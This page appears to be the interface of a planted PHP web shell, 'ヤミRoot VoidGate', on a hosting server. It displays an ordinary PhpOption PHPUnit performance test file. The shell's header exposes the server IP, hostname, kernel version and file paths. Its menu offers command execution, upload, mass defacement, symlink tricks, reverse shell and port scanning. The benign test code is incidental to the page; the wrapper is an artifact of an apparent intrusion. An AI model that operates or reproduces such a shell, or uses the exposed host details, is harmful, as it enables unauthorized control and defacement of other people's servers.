ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
phpoption
/
phpoption
/
tests
/
PhpOption
/
Tests
/
Viewing: PerformanceTest.php
<?php namespace PhpOption\Tests; /** * @group performance */ class PerformanceTest extends \PHPUnit_Framework_TestCase { private $traditionalRepo; private $phpOptionRepo; public function testSomeCase() { $traditionalTime = microtime(true); for ($i=0; $i<10000; $i++) { if (null === $rs = $this->traditionalRepo->findMaybe(true)) { $rs = new \stdClass(); } } $traditionalTime = microtime(true) - $traditionalTime; $phpOptionTime = microtime(true); for ($i=0; $i<10000; $i++) { $rs = $this->phpOptionRepo->findMaybe(true)->getOrElse(new \stdClass); } $phpOptionTime = microtime(true) - $phpOptionTime; $overheadPerInvocation = ($phpOptionTime - $traditionalTime) / 10000; printf("Overhead per invocation (some case): %.9fs\n", $overheadPerInvocation); } public function testNoneCase() { $traditionalTime = microtime(true); for ($i=0; $i<10000; $i++) { if (null === $rs = $this->traditionalRepo->findMaybe(false)) { $rs = new \stdClass(); } } $traditionalTime = microtime(true) - $traditionalTime; $phpOptionTime = microtime(true); for ($i=0; $i<10000; $i++) { $rs = $this->phpOptionRepo->findMaybe(false)->getOrElse(new \stdClass); } $phpOptionTime = microtime(true) - $phpOptionTime; $overheadPerInvocation = ($phpOptionTime - $traditionalTime) / 10000; printf("Overhead per invocation (none case): %.9fs\n", $overheadPerInvocation); } protected function setUp() { $this->traditionalRepo = new TraditionalRepo(); $this->phpOptionRepo = new PhpOptionRepo(); } } class TraditionalRepo { public function findMaybe($success) { if ($success) { return new \stdClass; } return null; } } class PhpOptionRepo { public function findMaybe($success) { if ($success) { return new \PhpOption\Some(new \stdClass); } return \PhpOption\None::create(); } }
Coded With 💗 by
0x6ick